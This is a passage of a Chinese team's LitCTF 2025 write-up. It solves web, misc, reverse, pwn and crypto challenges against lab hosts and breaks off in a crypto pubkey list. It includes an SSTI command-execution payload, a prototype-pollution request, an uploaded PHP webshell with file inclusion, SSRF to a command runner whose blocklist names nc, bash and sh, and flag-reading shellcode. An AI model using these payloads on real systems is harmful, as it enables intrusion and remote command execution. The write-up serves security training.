LitCTF 2025 WriteUp

排名:2

Web

nest_js

username 和 password 错误时输出不同。burp 起一个 intruder 爆。

弱密码:admin/password

星愿信箱

过滤了{{}}那用{%%}。别的正常 SSTI 就行。
{%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('nl /*').read())%}

多重宇宙日记

随便注册一个账号,在/profile 看到:

得到重要参数 is_Admin。结合题目信息打原型链污染即可。

POST /api/profile/update HTTP/1.1
Host: node12.anna.nssctf.cn:26368
Content-Length: 99
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://node12.anna.nssctf.cn:26368
Referer: http://node12.anna.nssctf.cn:26368/api/profile
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=bf95866c0c6a8f94e64549e80c26f9e6; connect.sid=s%3AWKQpeKhPOdOUU0sVBpVKJEjJlSspCjUS.cRc0DLcTWvrdALBQkC0cUP81xR2KrveWDa9JTinBfxg
Connection: keep-alive

{"settings":{"theme":"1","language":"1","__proto__":{"isAdmin":true}},"__proto__":{"isAdmin":true}}

随后访问管理员面板即可。

ez_file

弱密码:admin/password

主页 F12 注意到 file 参数,通过报错信息得知有 include。

直接传一个后缀 jpg 的一句话(内容限制了 php。使用短标签绕过),file 参数包含即可。

POST /admin.php HTTP/1.1
Host: node8.anna.nssctf.cn:20771
Content-Length: 233
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node8.anna.nssctf.cn:20771
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHqIjoMP3Rus5Munp
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node8.anna.nssctf.cn:20771/admin.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=90df1eaf1166d3ee8d63e0980cadb17d
Connection: keep-alive

------WebKitFormBoundaryHqIjoMP3Rus5Munp
Content-Disposition: form-data; name="avatar"; filename="basic_webshell.jpg"
Content-Type: application/octet-stream

<?= system($_GET[1]);?>

------WebKitFormBoundaryHqIjoMP3Rus5Munp--

随后包含:

http://node9.anna.nssctf.cn:28242/admin.php?file=uploads/basic_webshell.jpg&1=cat%20f*

ez_signin

看 js。找到登陆是 token 的验证算法。用 python 实现一遍:

import requests
import hashlib
import time

def md5(text):
    return hashlib.md5(text.encode('utf-8')).hexdigest()

# Your input values
raw_username = "admin"  # replace with actual username
raw_password = "admin123"  # replace with actual password
secret_key = 'easy_signin'

# Calculate hashes
md5_username = md5(raw_username)
md5_password = md5(raw_password)

short_md5_user = md5_username[:6]
short_md5_pass = md5_password[:6]

timestamp = str(int(time.time() * 1000))  # milliseconds since epoch

# Calculate sign
sign = md5(short_md5_user + short_md5_pass + timestamp + secret_key)

# Prepare request
url = 'http://node11.anna.nssctf.cn:21149/login.php'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Sign': sign
}
data = {
    'username': md5_username,
    'password': md5_password,
    'timestamp': timestamp
}

# Send request
try:
    response = requests.post(url, headers=headers, data=data)
    print(response.text)
    print(response.headers)
except Exception as e:
    print(f"Error: {e}")

随后弱密码 admin/admin123 登录。得到 backup/8e0132966053d4bf8b2dbe4ede25502b.php

注意到有 api.js。访问得到一个 api 路由:/api/sys/urlcode.php?url=

读取 8e0132966053d4bf8b2dbe4ede25502b.php 内容:

/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];

if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
    echo "waf!!";
    exit;
}

if (preg_match('/more|less|head|sort/', $name)) {
    echo "waf";
    exit;
}

if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
    echo "waf!";
    exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
    echo("非本地用户");
}

?>

注意到必须是本地请求。那么就靠 api 接口打 SSRF

/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls%2520..

注意到有

访问 327a6c4304ad5938eaf0efb6cc3e53dc.php 得到 flag

Misc

Cropping

伪加密。解出来是一堆二维码碎片。搓个脚本:

from PIL import Image
import os

# 配置参数
TILE_SIZE = 80  # 每个小图片的尺寸(根据实际情况调整)
ROWS = 9
COLS = 9
OUTPUT_FILE = 'reconstructed_qrcode.png'

def reconstruct_qrcode():
    # 创建空白画布
    canvas = Image.new('RGB', (COLS * TILE_SIZE, ROWS * TILE_SIZE))
    
    for row in range(ROWS):
        for col in range(COLS):
            try:
                # 构建文件名(支持多种格式)
                filename = f"tile_{row}_{col}.png"
                if not os.path.exists(filename):
                    filename = f"tile_{row}_{col}.jpg"
                
                # 打开碎片图片
                tile = Image.open(filename)
                
                # 计算粘贴位置
                position = (col * TILE_SIZE, row * TILE_SIZE)
                
                # 粘贴到画布
                canvas.paste(tile, position)
                
                print(f"成功处理: {filename}")
            except FileNotFoundError:
                print(f"警告: 找不到文件 tile_{row}_{col}.[png/jpg]")
                # 用红色块标记缺失部分
                missing_tile = Image.new('RGB', (TILE_SIZE, TILE_SIZE), 'red')
                canvas.paste(missing_tile, (col * TILE_SIZE, row * TILE_SIZE))
            except Exception as e:
                print(f"处理 {filename} 时出错: {str(e)}")
    
    # 保存结果
    canvas.save(OUTPUT_FILE)
    print(f"\n二维码已重建,保存为: {OUTPUT_FILE}")
    
    # 显示结果(可选)
    canvas.show()

if __name__ == '__main__':
    reconstruct_qrcode()

恢复到:

微信扫一扫即可。

灵感菇 🍄 哩菇哩菇哩哇擦灵感菇灵感菇 🍄

看注释,注意到:https://github.com/ProbiusOfficial/Lingicrypt

复制进去解码就有了:python main.py -d XXX

消失的文字

USB 流量 CTF-netA 一把梭:

压缩包密码:868F-83BD-FF

解出来就是经典的 hidden-word 隐写(文件名也提示了)

https://hidden-word.top/

像素中的航班

ccb 决赛在福州,4.28 号,在网站查询 FOC 机场的 4.28 前几天的航班消息。

https://www.flightera.net/zh/airport/Fuzhou/ZSFZ/departure/2025-04-26%20%2000_00?

可以知道该比赛是郑州学校举办,并且图中观察到是南方航空,可以在 26 号找到目标航班。

LitCTF{cz8289}

洞妖洞妖

pptm,查看宏数据

一个换表 b64,已知密文无表

5uESz7on4R8eyC//

查看幻灯片,第一张有个图片,解压提取发现文件末尾有倒置的 zip

有密码,暂时无法破解

其余幻灯片根据解压的 /ppt/slides/slide?.xml 发现这里的值有差异

编写脚本提取

import os
import re
from xml.etree import ElementTree as ET

# 定义正则表达式来匹配<p:transition>标签
# <p:transition spd="slow" advTm="1000"/>
pattern = re.compile(r'<p:transition spd="slow" advTm="(\d+)"/>')

data = ""
# 遍历文件并提取advTm的值
for i in range(2, 457):
    file = f'slide{i}.xml'
    with open(file, 'r', encoding='utf-8') as f:
        content = f.read()
        matches = pattern.findall(content)
        if matches:
            print(f'文件 {file} 中的 advTm 值为: {matches[0]}')
            if matches[0] == "1000":
                data += "1"
            elif matches[0] == "0":
                data += "0"
            else:
                print(f'文件 {file} 中的 advTm 值为: {matches[0]},不是1000也不是0')
                input()
data_1 = ""
for i in range(65):
    data_1 += " 0"
    data_1 += data[i*7:(i+1)*7]
print(data_1)

注意到长度为 455,是 7 的倍数,考虑 ascii 补 0 后得到自定义表

不是?这什么 jb 脑洞?

CEdcwvZuNmlkJtsrqaV93=7Bzyx654YXWFp0n+MLKjiHgfDAbUeTSORQPoIhG821/

获取到压缩包密码

pptandword

解压发现 docx,删掉图片全选改色即可

Reverse

easy_rc4

RC4 魔改,异或了 0x20

提取这边密文,cyberchef 解密

LitCTF{71bb2a06417a5306ba297ddcfce7b1b0}

FeatureExtraction

输入 44 长度字符串,将每个字符转到四字节整数,再进行加密,最后对比密文

加密是用一个十长度数组当作密钥,然后将双循环进行加密

提取密钥和密文解密得到 flag

#include <iostream>

int main()
{
    unsigned int key[10] = {
        0x0000004C, 0x00000069, 0x00000074, 0x00000043, 0x00000054,
        0x00000046, 0x00000032, 0x00000030, 0x00000032, 0x00000035};

    uint32_t flag[53]{0x00001690, 0x00003E58, 0x00006FF1, 0x000086F0, 0x00009D66, 0x0000AB30, 0x0000CA71, 0x0000CF29,
                      0x0000E335, 0x0000E492, 0x0000F1FD, 0x0000DE80, 0x0000D0C8, 0x0000C235, 0x0000B9B5, 0x0000B1CF,
                      0x00009E9F, 0x00009E86, 0x000096B4, 0x0000A550, 0x0000A0D3, 0x0000A135, 0x000099CA, 0x0000ACC0,
                      0x0000BE78, 0x0000C196, 0x0000BC00, 0x0000B5C3, 0x0000B7F0, 0x0000B465, 0x0000B673, 0x0000B71F,
                      0x0000BBE2, 0x0000CB4F, 0x0000D2AD, 0x0000DE20, 0x0000EC94, 0x0000FC30, 0x000104B8, 0x0000F6EE,
                      0x0000EDC9, 0x0000E385, 0x0000D78B, 0x0000DE19, 0x0000C94C, 0x0000AD14, 0x00007E88, 0x00006BB9,
                      0x00004CC6, 0x00003806, 0x00002DC9, 0x00002398, 0x000019E1};

    uint32_t Dec[44]{};

    for (int i = 0; i < 44; ++i)
    {
        uint32_t pre = 0;
        for (int k = 0; k < i; ++k)
        {
            if (i - k < 10)
            {
                pre += Dec[k] * key[i - k];
            }
        }
        uint32_t numerator = flag[i] - pre;
        Dec[i] = numerator / key[0];
    }

    for (int i = 0; i < 44; ++i)
    {
        printf("%c", (char)Dec[i]);
    }

    return 0;
}

LitCTF{1e5a6230-308c-47cf-907c-4bfafdec8296}

easy_tea

程序中多处 jz jnz 以及 call $+5 的花,都同样 nop 去除即可。

将输入字符串进行 tea 加密再与密文进行对比,v4 是 key,v3 是密文

抄出 tea 代码,改成解密模式进行解密

#include <iostream>

int __cdecl sub_E148D0(unsigned int *_a1_, uint32_t *_a2_)
{
    int result;      // eax
    unsigned int v3; // [esp+D0h] [ebp-2Ch]
    unsigned int v4; // [esp+DCh] [ebp-20h]
    int i;           // [esp+E8h] [ebp-14h]
    int v6;          // [esp+F4h] [ebp-8h]

    v6 = 0;
    v4 = *_a1_;
    v3 = _a1_[1];
    v6 = 32 * 0x114514;
    for (i = 0; i < 32; ++i)
    {
        v3 -= (_a2_[3] + (v4 >> 5)) ^ (v6 + v4) ^ (_a2_[2] + 16 * v4);
        v4 -= (_a2_[1] + (v3 >> 5)) ^ (v6 + v3) ^ (*_a2_ + 16 * v3);
        v6 -= 0x114514;
    }
    *_a1_ = v4;
    result = 4;
    _a1_[1] = v3;
    return result;
}

int main()
{
    uint32_t v4[5]{};
    uint32_t v3[10]{};
    v4[0] = 0x11223344;
    v4[1] = 0x55667788;
    v4[2] = 0x99AABBCC;
    v4[3] = 0xDDEEFF11;
    v3[0] = 0x977457FE;
    v3[1] = 0xDA3E1880;
    v3[2] = 0xB8169108;
    v3[3] = 0x1E95285C;
    v3[4] = 0x1FE7E6F2;
    v3[5] = 0x2BC5FC57;
    v3[6] = 0xB28F0FA8;
    v3[7] = 0x8E0E0644;
    v3[8] = 0x68454425;
    v3[9] = 0xC57740D9;
    for (int i = 0; i < 5; i++)
    {
        sub_E148D0((uint32_t *)((uint8_t *)v3 + i * 8), v4);
    }
    printf("%.40s\n", v3);
    return 0;
}

LitCTF{590939df61690383a47ed1bc6ade9d51}

pickle

用 python 代码进行解析 pickle

import dill

def load_and_inspect_dill_file(file_path):
    try:
        with open(file_path, 'rb') as f:
            loaded_object = dill.load(f)

            if callable(loaded_object):
                try:
                    import dis
                    if hasattr(loaded_object, '__code__'):
                        dis.dis(loaded_object)

                        for const in loaded_object.__code__.co_consts:
                            print(f"- {repr(const)}")

                        for name in loaded_object.__code__.co_names:
                            print(f"- {name}")

                except Exception as e:
                    print(f"Could not decompile function bytecode: {e}")

            elif isinstance(loaded_object, (dict, list, tuple)):
                print("\nLoaded object is a collection (dict/list/tuple).")
                print("Content:")
                print(loaded_object)

                extracted_strings = []
                if isinstance(loaded_object, dict):
                    for k, v in loaded_object.items():
                        if isinstance(k, str):
                            extracted_strings.append(k)
                        if isinstance(v, str):
                            extracted_strings.append(v)
                elif isinstance(loaded_object, (list, tuple)):
                    for item in loaded_object:
                        if isinstance(item, str):
                            extracted_strings.append(item)

                if extracted_strings:
                    print("\nExtracted strings from the collection:")
                    for s in extracted_strings:
                        print(f"- {s}")

            else:
                print(f"\nLoaded object is of type {type(loaded_object)}. Content:")
                print(loaded_object)


            if isinstance(loaded_object, (list, tuple)) and all(isinstance(x, int) for x in loaded_object):
                print("\nThis object appears to be a list/tuple of integers, potentially the encrypted flag:")
                print(loaded_object)
                try:
                    potential_bytes = bytes(loaded_object)
                    print(f"Potential bytes: {potential_bytes}")
                    print(f"Potential ASCII/UTF-8 string: {potential_bytes.decode('utf-8', errors='ignore')}")
                except ValueError:
                    print("Could not convert to bytes (values out of range 0-255).")
                except UnicodeDecodeError:
                    print("Could not decode to UTF-8.")


    except FileNotFoundError:
        print(f"Error: File '{file_path}' not found.")
    except dill.UnpicklingError as e:
        print(f"Error: Cannot unpickle file '{file_path}'. It might be corrupted or not a valid dill file. Details: {e}")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")



load_and_inspect_dill_file('challenge.pickle')

得到以下输出

5           0 RESUME                   0

  6           2 LOAD_GLOBAL              1 (NULL + input)
             12 CACHE
             14 LOAD_CONST               1 ('input your flag > ')
             16 UNPACK_SEQUENCE          1
             20 CALL                     1
             28 CACHE
             30 STORE_SUBSCR
             34 CACHE
             36 CACHE
             38 CACHE
             40 CACHE
             42 CACHE
             44 CACHE
             46 CACHE
             48 CACHE
             50 CACHE
             52 UNPACK_SEQUENCE          0
             56 CALL                     0
             64 CACHE
             66 STORE_FAST               0 (user_input)

  8          68 BUILD_LIST               0
             70 STORE_FAST               1 (decrypted)

  9          72 LOAD_GLOBAL              5 (NULL + range)
             82 CACHE
             84 LOAD_GLOBAL              7 (NULL + len)
             94 CACHE
             96 LOAD_FAST                0 (user_input)
             98 UNPACK_SEQUENCE          1
            102 CALL                     1
            110 CACHE
            112 UNPACK_SEQUENCE          1
            116 CALL                     1
            124 CACHE
            126 GET_ITER
        >>  128 FOR_ITER                34 (to 200)

 10         132 LOAD_FAST                0 (user_input)
            134 LOAD_FAST                2 (i)
            136 BINARY_SUBSCR
            140 CACHE
            142 CACHE
            144 CACHE
            146 LOAD_CONST               2 (6)
            148 BINARY_OP               10 (-)
            152 STORE_FAST               3 (b)

 11         154 LOAD_FAST                1 (decrypted)
            156 STORE_SUBSCR
            160 CACHE
            162 CACHE
            164 CACHE
            166 CACHE
            168 CACHE
            170 CACHE
            172 CACHE
            174 CACHE
            176 CACHE
            178 LOAD_FAST                3 (b)
            180 UNPACK_SEQUENCE          1
            184 CALL                     1
            192 CACHE
            194 POP_TOP
            196 JUMP_BACKWARD           35 (to 128)

 13         198 BUILD_LIST               0
        >>  200 LOAD_CONST               3 ((85, 84, 174, 227, 132, 190, 207, 142, 77, 24, 235, 236, 231, 213, 138, 153, 60, 29, 241, 241, 237, 208, 144, 222, 115, 16, 242, 239, 231, 165, 157, 224, 56, 104, 242, 128, 250, 211, 150, 225, 63, 29, 242, 169))
            202 LIST_EXTEND              1
            204 STORE_FAST               4 (fflag)

 14         206 BUILD_LIST               0
            208 LOAD_CONST               4 ((19, 55, 192, 222, 202, 254, 186, 190))
            210 LIST_EXTEND              1
            212 STORE_FAST               5 (key_ints)

 16         214 LOAD_CONST               5 (<code object encrypt at 0x0000000003B26430, file "d:\code\PYTHON\IPParser1.py", line 16>)
            216 MAKE_FUNCTION            0
            218 STORE_FAST               6 (encrypt)

 23         220 PUSH_NULL
            222 LOAD_FAST                6 (encrypt)
            224 LOAD_FAST                4 (fflag)
            226 LOAD_FAST                5 (key_ints)
            228 UNPACK_SEQUENCE          2
            232 CALL                     2
            240 CACHE
            242 STORE_FAST               7 (encrypted_flag)

 25         244 LOAD_FAST                1 (decrypted)
            246 LOAD_FAST                7 (encrypted_flag)
            248 COMPARE_OP               2 (<)
            252 CACHE
            254 POP_JUMP_IF_FALSE       17 (to 290)

 26         256 LOAD_GLOBAL             11 (NULL + print)
            266 CACHE
            268 LOAD_CONST               6 ('Good job! You made it!')
            270 UNPACK_SEQUENCE          1
            274 CALL                     1
            282 CACHE
            284 POP_TOP
            286 LOAD_CONST               0 (None)
            288 RETURN_VALUE

 28     >>  290 LOAD_GLOBAL             11 (NULL + print)
            300 CACHE
            302 LOAD_CONST               7 ("Nah, don't give up!")
            304 UNPACK_SEQUENCE          1
            308 CALL                     1
            316 CACHE
            318 POP_TOP
            320 LOAD_CONST               0 (None)
            322 RETURN_VALUE

Disassembly of <code object encrypt at 0x0000000003B26430, file "d:\code\PYTHON\IPParser1.py", line 16>:
 16           0 RESUME                   0

 17           2 BUILD_LIST               0
              4 STORE_FAST               2 (result)

 18           6 LOAD_GLOBAL              1 (NULL + range)
             16 CACHE
             18 LOAD_GLOBAL              3 (NULL + len)
             28 CACHE
             30 LOAD_FAST                0 (flag_bytes)
             32 UNPACK_SEQUENCE          1
             36 CALL                     1
             44 CACHE
             46 UNPACK_SEQUENCE          1
             50 CALL                     1
             58 CACHE
             60 GET_ITER
        >>   62 FOR_ITER                56 (to 178)

 19          66 LOAD_FAST                0 (flag_bytes)
             68 LOAD_FAST                3 (i)
             70 BINARY_SUBSCR
             74 CACHE
             76 CACHE
             78 CACHE
             80 LOAD_FAST                1 (key)
             82 LOAD_FAST                3 (i)
             84 LOAD_GLOBAL              3 (NULL + len)
             94 CACHE
             96 LOAD_FAST                1 (key)
             98 UNPACK_SEQUENCE          1
            102 CALL                     1
            110 CACHE
            112 BINARY_OP                6 (%)
            116 BINARY_SUBSCR
            120 CACHE
            122 CACHE
            124 CACHE
            126 BINARY_OP               12 (^)
            130 STORE_FAST               4 (b)

 20         132 LOAD_FAST                2 (result)
            134 STORE_SUBSCR
            138 CACHE
            140 CACHE
            142 CACHE
            144 CACHE
            146 CACHE
            148 CACHE
            150 CACHE
            152 CACHE
            154 CACHE
            156 LOAD_FAST                4 (b)
            158 UNPACK_SEQUENCE          1
            162 CALL                     1
            170 CACHE
            172 POP_TOP
            174 JUMP_BACKWARD           57 (to 62)

 21         176 LOAD_FAST                2 (result)
        >>  178 RETURN_VALUE
- None
- 'input your flag > '
- 6
- (85, 84, 174, 227, 132, 190, 207, 142, 77, 24, 235, 236, 231, 213, 138, 153, 60, 29, 241, 241, 237, 208, 144, 222, 115, 16, 242, 239, 231, 165, 157, 224, 56, 104, 242, 128, 250, 211, 150, 225, 63, 29, 242, 169)
- (19, 55, 192, 222, 202, 254, 186, 190)
- <code object encrypt at 0x0000000003B26430, file "d:\code\PYTHON\IPParser1.py", line 16>
- 'Good job! You made it!'
- "Nah, don't give up!"
- input
- encode
- range
- len
- append
- print

发现加密是字符-6,然后再与(19, 55, 192, 222, 202, 254, 186, 190)进行 xor 加密

解密逆向计算

enc = [85, 84, 174, 227, 132, 190, 207, 142, 77, 24, 235, 236, 231, 213, 138, 153, 60, 29, 241, 241, 237, 208, 144, 222, 115, 16, 242, 239, 231, 165, 157, 224, 56, 104, 242, 128, 250, 211, 150, 225, 63, 29, 242, 169]
key = [19, 55, 192, 222, 202, 254, 186, 190]

dec = []
for i, byte in enumerate(enc):
    key_byte = key[i % len(key)]
    dec.append(byte ^ key_byte)

flag = ''.join([chr(b + 6) for b in dec])

print(f"{flag}")

LitCTF{6d518316-5075-40ff-873a-d1e8d632e208}

Robbie Wanna Revenge

ce 附加,并且激活 mono 功能,点击 Dissect mono

在 Assembly-CSharp.dll 模块里面的 GameManager 类中可以找到一个 PlayerWon 的方法。

右键 invoke 调用,就可以在游戏界面看到 flag

LitCTF{Rm4ldulG05le0xaN4_LITCTF2025_Wa4jhzlZ05cm0qhF4}

Pwn

test_your_nc

输入 $0 就有 shell

shellcode

测信道爆破

from pwn import *

context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=remote()

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug(script=""):
    gdb.attach(io, gdbscript=script)

io=0
def find(i, c):
    global io
    io=remote('node8.anna.nssctf.cn', 20901)
    #io=process("./chal")
    sc=asm("""
    movabs rax, 0x67616C66
    push 0
    push rax
    push rsp
    pop rdi
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    syscall #open("flag.txt", 0, 0);
    mov rsi, rdi
    mov rdi, rax
    xor rax, rax
    mov rdx, 0x100
    syscall #read(0, rsp, 0x100);
    mov al, [rsp+{}]
    cmp al, {}
    jbe $
    """.format(i, c))

    io.sendafter(":", sc)
    io.recv()
    try:
        io.recv(timeout=2)
        io.close()
        return True
    except EOFError:
        io.close()
        return False

#debug("break *main+120\nc")
i = 0
flag = ''
while True:
    l = 0x20
    r = 0x80
    while l <= r:
        m = (l + r) // 2
        if find(i, m):
            r = m - 1
        else:
            l = m + 1

    if l==0:
        break
    flag += chr(l)
    info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
    info(flag)
    i += 1

info("flag: "+flag)

Crypto

Basic

n 是素数

# python3.11.4
from Crypto.Util.number import *

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

d = inverse(e,n-1)
m = pow(c,d,n)
print(long_to_bytes(m))
# LitCTF{ee2c30dfe684f13a6e6c07b9ec90cc2c}

Leak

dp 高位泄露,e 和 dp 满足

这里给的 dp 是高位,所以有

在模 p 下有

k 和 e 是一个数量级,二元 copper 得解

# sage10.6
from Crypto.Util.number import *
import gmpy2
import itertools

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
        print(d)
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

e = 1915595112993511209389477484497
n = 12058282950596489853905564906853910576358068658769384729579819801721022283769030646360180235232443948894906791062870193314816321865741998147649422414431603039299616924238070704766273248012723702232534461910351418959616424998310622248291946154911467931964165973880496792299684212854214808779137819098357856373383337861864983040851365040402759759347175336660743115085194245075677724908400670513472707204162448675189436121439485901172477676082718531655089758822272217352755724670977397896215535981617949681898003148122723643223872440304852939317937912373577272644460885574430666002498233608150431820264832747326321450951
c = 5408361909232088411927098437148101161537011991636129516591281515719880372902772811801912955227544956928232819204513431590526561344301881618680646725398384396780493500649993257687034790300731922993696656726802653808160527651979428360536351980573727547243033796256983447267916371027899350378727589926205722216229710593828255704443872984334145124355391164297338618851078271620401852146006797653957299047860900048265940437555113706268887718422744645438627302494160620008862694047022773311552492738928266138774813855752781598514642890074854185464896060598268009621985230517465300289580941739719020511078726263797913582399
leak = 10818795142327948869191775315599184514916408553660572070587057895748317442312635789407391509205135808872509326739583930473478654752295542349813847128992385262182771143444612586369461112374487380427668276692719788567075889405245844775441364204657098142930
leak <<= 180
R.<x,y> = PolynomialRing(Zmod(n),implementation='generic')
f = e * (leak + x) + (y - 1)
res = small_roots(f,(2^180,2^101),m=2,d=4)
print(res)
for root in res:
    dp_low = root[0]
    dp = leak + dp_low
    tmp = pow(2,e*dp,n) - 2
    p = gmpy2.gcd(tmp,n)
    q = n // p
    d = inverse(e,(p-1)*(q-1))
    m = pow(c,d,n)
    print(long_to_bytes(m))
# LitCTF{03ecda15d1a89b06454c6050c1bd489f}

baby

由题意知

所以

造格

做一点参数调整即可

# sage10.6
from Crypto.Util.number import *

g = 7835965640896798834809247993719156202474265737048568647376673642017466116106914666363462292416077666356578469725971587858259708356557157689066968453881547
data = 2966297990428234518470018601566644093790837230283136733660201036837070852272380968379055636436886428180671888655884680666354402224746495312632530221228498
i = 128
Ge = Matrix(ZZ,[
    [1,data],
    [0,g]
])
Ge[:,-1] *= 2^i
m,t = Ge.LLL()[0]
m,t = abs(m),abs(t) // 2^i
if t.bit_length() == 150:
    print(long_to_bytes(m))
# LitCTF{56008a819331c9f3608a718327b7e6ce}

ez_math

GL(2,p)的阶是

其他维度的阶可以参考:https://tover.xyz/p/Order-GLnFp/

求 e 模这个阶的逆元,再乘方即可恢复 A

# sage10.6
from Crypto.Util.number import *

e = 65537
p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
B = [[2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170, 4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547], [3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598, 2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]]

B = Matrix(GF(p),B)
phi = p*(p-1)*(p+1)
d = inverse(e,phi)
A = B**d
m = A[0][0]
print(long_to_bytes(int(m)))
# LitCTF{13dd217e-9a67-4093-8a1b-d2592c45ba82}

Math

由题意知

求出 hint - n,到 factordb 能查到 noise

# python3.11.4
from Crypto.Util.number import *

n = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565066224724927142875488372745811265526082952677738164529563954987228906850399133238995317510054164641775620492640261304545177255239344267408541100183257566363663184114386155791750269054370153318333985294770328952530538998873255288249682710758780563400912097941615526239960620378046855974566511497666396320752739097426013141
e = 65537
c = 1443781085228809103260687286964643829663045712724558803386592638665188285978095387180863161962724216167963654290035919557593637853286347618612161170407578261345832596144085802169614820425769327958192208423842665197938979924635782828703591528369967294598450115818251812197323674041438116930949452107918727347915177319686431081596379288639254670818653338903424232605790442382455868513646425376462921686391652158186913416425784854067607352211587156772930311563002832095834548323381414409747899386887578746299577314595641345032692386684834362470575165392266454078129135668153486829723593489194729482511596288603515252196
hint = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565315879035806034866363781260326863226820493638303543900551786806420978685834963920605455531498816171226961859405498825422799670404315599803610007692517859020686506546933013150302023167306580068646104886750772590407299332549746317286972954245335810093049085813683948329319499796034424103981702702886662008367017860043529164

# print(hint - n)
noise = 942430120937
p_plus_q = (hint - n - noise**2) // noise
phi = n + 1 - p_plus_q
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
# LitCTF{db6f52b9265971910b306754b9df8b76}

new_bag

本题密度太大,先利用已知 flag 信息,可以将本题转换为 8 字节未知明文背包,即如下这个式子

这里只需要求 64 个未知 bit,所以 k 不会特别大,可以爆破这个 k,然后用下面这个格

其中 S = enc - known + kp

# sage10.6
from Crypto.Util.number import *
from tqdm import *

p = 173537234562263850990112795836487093439
pubkey = [184316235755254907483728080281053515467, 301753295242660201987730522100674059399, 214746865948159247109907445342727086153, 190710765981032078577562674498245824397, 331594659178887289573546882792969306963, 325241251857446530306000904015122540537, 183138087354043440402018216471847480597, 184024660891182404534278014517267677121, 221852419056451630727726571924370029193, 252122782233143392994310666727549089119, 175886223097788623718858806338121455451, 275410728642596840638045777234465661687, 251664694235514793799312335012668142813, 218645272462591891220065928162159215543, 312223630454310643034351163568776055567, 246969281206041998865813427647656760287, 314861458279166374375088099707870061461, 264293021895772608566300156292334238719, 300802209357110221724717494354120213867, 293825386566202476683406032420716750733, 280164880535680245461599240490036536891, 223138633045675121340315815489781884671, 194958151408670059556476901479795911187, 180523100489259027750075460231138785329, 180425435626797251881104654861163883059, 313871202884226454316190668965524324023, 184833541398593696671625353250714719537, 217497008601504809464374671355532403921, 246589067140439936215888566305171004301, 289015788017956436490096615142465503023, 301775305365100149653555500258867275677, 185893637147914858767269807046039030871, 319328260264390422708186053639594729851, 196198701308135383224057395173059054757, 231185775704496628532348037721799493511, 243973313872552840389840048418558528537, 213140279661565397451805047456032832611, 310386296949148370235845491986451639013, 